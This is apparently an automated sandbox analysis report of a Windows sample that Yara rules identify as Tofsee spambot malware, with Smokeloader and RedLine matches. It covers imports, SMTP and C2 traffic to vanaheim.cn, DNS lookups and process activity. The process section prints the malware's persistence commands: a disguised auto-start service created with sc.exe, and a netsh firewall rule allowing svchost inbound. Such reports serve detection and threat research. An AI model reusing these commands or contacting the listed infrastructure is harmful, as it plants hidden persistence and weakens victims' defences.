RT_GROUP_ICON	0x2079eb8	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x2079eb8	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_VERSION	0x2085620	0x258	data			0.5466666666666666

Imports

DLL	Import
KERNEL32.dll	GetCommState, InterlockedDecrement, GetCurrentProcess, InterlockedCompareExchange, SetVolumeMountPointW, CreateHardLinkA, GetModuleHandleW, CreateNamedPipeW, EnumCalendarInfoExW, GetNumberFormatA, CreateActCtxW, TlsSetValue, LoadLibraryW, GetLocaleInfoW, GetCalendarInfoA, CreateEventA, GetFileAttributesA, GetTimeFormatW, GetModuleFileNameW, FindNextVolumeMountPointW, GetTempPathW, GetShortPathNameA, CreateJobObjectA, VerifyVersionInfoW, InterlockedExchange, GlobalUnfix, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetProcAddress, GetLongPathNameA, PeekConsoleInputW, EnumSystemCodePagesW, GetConsoleDisplayMode, InterlockedIncrement, LoadModule, GetProcessVersion, SetThreadPriorityBoost, LoadLibraryA, InterlockedExchangeAdd, CreateFileMappingA, LocalAlloc, GetFileType, FoldStringW, SetEnvironmentVariableA, EnumDateFormatsA, GetProcessShutdownParameters, LoadLibraryExA, GetFileTime, WaitForDebugEvent, OpenEventW, SetFileShortNameA, GetVersionExA, GetDiskFreeSpaceExW, GetWindowsDirectoryW, LocalFree, LCMapStringW, CommConfigDialogW, CloseHandle, GetStringTypeW, MultiByteToWideChar, CreateFileW, WriteConsoleW, RaiseException, GetConsoleAliasExesLengthA, SetEndOfFile, GetConsoleAliasExesA, EnumCalendarInfoA, GlobalMemoryStatus, SetComputerNameA, SetDefaultCommConfigA, HeapSize, FlushFileBuffers, SetStdHandle, IsValidCodePage, HeapAlloc, HeapReAlloc, ExitProcess, DecodePointer, GetCommandLineW, HeapSetInformation, GetStartupInfoW, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, WriteFile, HeapCreate, HeapFree, SetFilePointer, TlsAlloc, TlsGetValue, TlsFree, SetLastError, GetCurrentThreadId, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, RtlUnwind, GetCPInfo, GetACP, GetOEMCP
USER32.dll	SetCaretPos, GetMenuStringA, LoadMenuA, InsertMenuItemW, GetMenu, DrawStateA, GetWindowLongW, GetSysColor, CharUpperA
GDI32.dll	GetBkMode, GetCharWidthFloatA, CreateDCA, GetCharWidth32W, GetTextCharset, GetCharWidthI
WINHTTP.dll	WinHttpConnect
MSIMG32.dll	GradientFill

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 21, 2024 23:39:02.473570108 CEST	49705	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:39:03.472750902 CEST	49705	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:39:05.472611904 CEST	49705	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:39:05.605484009 CEST	49706	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:05.605581045 CEST	443	49706	195.58.54.132	192.168.2.5
Sep 21, 2024 23:39:05.605674028 CEST	49706	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:09.472651005 CEST	49705	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:39:17.472599983 CEST	49705	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:39:22.489459991 CEST	49714	25	192.168.2.5	67.195.228.111
Sep 21, 2024 23:39:23.503974915 CEST	49714	25	192.168.2.5	67.195.228.111
Sep 21, 2024 23:39:25.519751072 CEST	49714	25	192.168.2.5	67.195.228.111
Sep 21, 2024 23:39:29.519551992 CEST	49714	25	192.168.2.5	67.195.228.111
Sep 21, 2024 23:39:37.519494057 CEST	49714	25	192.168.2.5	67.195.228.111
Sep 21, 2024 23:39:42.523720980 CEST	49715	25	192.168.2.5	64.233.166.27
Sep 21, 2024 23:39:43.535243988 CEST	49715	25	192.168.2.5	64.233.166.27
Sep 21, 2024 23:39:45.550699949 CEST	49715	25	192.168.2.5	64.233.166.27
Sep 21, 2024 23:39:45.598509073 CEST	49706	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:45.598679066 CEST	443	49706	195.58.54.132	192.168.2.5
Sep 21, 2024 23:39:45.598758936 CEST	49706	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:45.707660913 CEST	49716	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:45.707722902 CEST	443	49716	195.58.54.132	192.168.2.5
Sep 21, 2024 23:39:45.707787991 CEST	49716	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:39:49.550853014 CEST	49715	25	192.168.2.5	64.233.166.27
Sep 21, 2024 23:39:57.550699949 CEST	49715	25	192.168.2.5	64.233.166.27
Sep 21, 2024 23:40:02.550321102 CEST	49718	25	192.168.2.5	94.100.180.31
Sep 21, 2024 23:40:03.550775051 CEST	49718	25	192.168.2.5	94.100.180.31
Sep 21, 2024 23:40:05.550801039 CEST	49718	25	192.168.2.5	94.100.180.31
Sep 21, 2024 23:40:09.551445961 CEST	49718	25	192.168.2.5	94.100.180.31
Sep 21, 2024 23:40:17.550873995 CEST	49718	25	192.168.2.5	94.100.180.31
Sep 21, 2024 23:40:25.707107067 CEST	49716	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:40:25.707246065 CEST	443	49716	195.58.54.132	192.168.2.5
Sep 21, 2024 23:40:25.707345009 CEST	49716	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:40:25.817904949 CEST	49719	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:40:25.817971945 CEST	443	49719	195.58.54.132	192.168.2.5
Sep 21, 2024 23:40:25.818249941 CEST	49719	443	192.168.2.5	195.58.54.132
Sep 21, 2024 23:41:05.022113085 CEST	49721	25	192.168.2.5	52.101.8.49
Sep 21, 2024 23:41:06.019473076 CEST	49721	25	192.168.2.5	52.101.8.49

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 21, 2024 23:39:02.445681095 CEST	61154	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:02.472946882 CEST	53	61154	1.1.1.1	192.168.2.5
Sep 21, 2024 23:39:05.433093071 CEST	61485	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:05.601131916 CEST	53	61485	1.1.1.1	192.168.2.5
Sep 21, 2024 23:39:22.473198891 CEST	54380	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:22.480446100 CEST	53	54380	1.1.1.1	192.168.2.5
Sep 21, 2024 23:39:22.481208086 CEST	58375	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:22.488739967 CEST	53	58375	1.1.1.1	192.168.2.5
Sep 21, 2024 23:39:42.505295992 CEST	53985	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:42.513012886 CEST	53	53985	1.1.1.1	192.168.2.5
Sep 21, 2024 23:39:42.513850927 CEST	59204	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:39:42.523092985 CEST	53	59204	1.1.1.1	192.168.2.5
Sep 21, 2024 23:40:02.533337116 CEST	53357	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:40:02.540895939 CEST	53	53357	1.1.1.1	192.168.2.5
Sep 21, 2024 23:40:02.541579008 CEST	51008	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:40:02.549489021 CEST	53	51008	1.1.1.1	192.168.2.5
Sep 21, 2024 23:41:04.778850079 CEST	62682	53	192.168.2.5	1.1.1.1
Sep 21, 2024 23:41:05.021414995 CEST	53	62682	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 21, 2024 23:39:02.445681095 CEST	192.168.2.5	1.1.1.1	0xc85c	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:05.433093071 CEST	192.168.2.5	1.1.1.1	0xdb84	Standard query (0)	vanaheim.cn	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.473198891 CEST	192.168.2.5	1.1.1.1	0x9676	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:22.481208086 CEST	192.168.2.5	1.1.1.1	0x3742	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.505295992 CEST	192.168.2.5	1.1.1.1	0x5c83	Standard query (0)	google.com	MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:42.513850927 CEST	192.168.2.5	1.1.1.1	0x2afc	Standard query (0)	smtp.google.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:40:02.533337116 CEST	192.168.2.5	1.1.1.1	0x823b	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:40:02.541579008 CEST	192.168.2.5	1.1.1.1	0x4c24	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:41:04.778850079 CEST	192.168.2.5	1.1.1.1	0x6605	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 21, 2024 23:39:02.472946882 CEST	1.1.1.1	192.168.2.5	0xc85c	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.8.49	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:02.472946882 CEST	1.1.1.1	192.168.2.5	0xc85c	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.11.0	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:02.472946882 CEST	1.1.1.1	192.168.2.5	0xc85c	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.42.0	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:02.472946882 CEST	1.1.1.1	192.168.2.5	0xc85c	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.40.26	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:05.601131916 CEST	1.1.1.1	192.168.2.5	0xdb84	No error (0)	vanaheim.cn	195.58.54.132	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.480446100 CEST	1.1.1.1	192.168.2.5	0x9676	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:22.480446100 CEST	1.1.1.1	192.168.2.5	0x9676	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:22.480446100 CEST	1.1.1.1	192.168.2.5	0x9676	No error (0)	yahoo.com		MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	67.195.228.111	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	98.136.96.91	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	67.195.204.73	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	98.136.96.76	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	67.195.204.74	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	67.195.204.72	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	67.195.228.110	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:22.488739967 CEST	1.1.1.1	192.168.2.5	0x3742	No error (0)	mta6.am0.yahoodns.net	98.136.96.77	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.513012886 CEST	1.1.1.1	192.168.2.5	0x5c83	No error (0)	google.com		MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:39:42.523092985 CEST	1.1.1.1	192.168.2.5	0x2afc	No error (0)	smtp.google.com	64.233.166.27	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.523092985 CEST	1.1.1.1	192.168.2.5	0x2afc	No error (0)	smtp.google.com	74.125.71.27	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.523092985 CEST	1.1.1.1	192.168.2.5	0x2afc	No error (0)	smtp.google.com	74.125.71.26	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.523092985 CEST	1.1.1.1	192.168.2.5	0x2afc	No error (0)	smtp.google.com	74.125.133.26	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:39:42.523092985 CEST	1.1.1.1	192.168.2.5	0x2afc	No error (0)	smtp.google.com	74.125.133.27	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:40:02.540895939 CEST	1.1.1.1	192.168.2.5	0x823b	No error (0)	mail.ru		MX (Mail exchange)	IN (0x0001)	false
Sep 21, 2024 23:40:02.549489021 CEST	1.1.1.1	192.168.2.5	0x4c24	No error (0)	mxs.mail.ru	94.100.180.31	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:40:02.549489021 CEST	1.1.1.1	192.168.2.5	0x4c24	No error (0)	mxs.mail.ru	217.69.139.150	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:41:05.021414995 CEST	1.1.1.1	192.168.2.5	0x6605	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.8.49	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:41:05.021414995 CEST	1.1.1.1	192.168.2.5	0x6605	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.11.0	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:41:05.021414995 CEST	1.1.1.1	192.168.2.5	0x6605	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.42.0	A (IP address)	IN (0x0001)	false
Sep 21, 2024 23:41:05.021414995 CEST	1.1.1.1	192.168.2.5	0x6605	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.40.26	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	17:38:57
Start date:	21/09/2024
Path:	C:\Users\user\Desktop\2IFYYPRUgO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2IFYYPRUgO.exe"
Imagebase:	0x400000
File size:	457'728 bytes
MD5 hash:	DD9983E56E44B300E97FBEAD17BBB8EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:38:57
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\chxnvqnu\
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:38:57
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:38:58
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\uscdfbek.exe" C:\Windows\SysWOW64\chxnvqnu\
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:38:58
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:38:58
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support"
Imagebase:	0x400000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:38:59
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:38:59
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" description chxnvqnu "wifi internet conection"
Imagebase:	0x400000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:38:59
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start chxnvqnu
Imagebase:	0x400000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d"C:\Users\user\Desktop\2IFYYPRUgO.exe"
Imagebase:	0x400000
File size:	14'320'128 bytes
MD5 hash:	A55CE6DA03E8C8D33F5FBC378D553054
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0x6c0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Tofsee_26124fe4, Description: unknown, Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_Tofsee, Description: Detects Tofsee, Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096
Imagebase:	0x100000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1472 -ip 1472
Imagebase:	0x100000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 588
Imagebase:	0x100000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:39:00
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1032
Imagebase:	0x100000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	25.4%
Total number of Nodes:	1562
Total number of Limit Nodes:	18

Executed Functions

Function 00409A6B Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799stringsleepregistryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNEL32(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
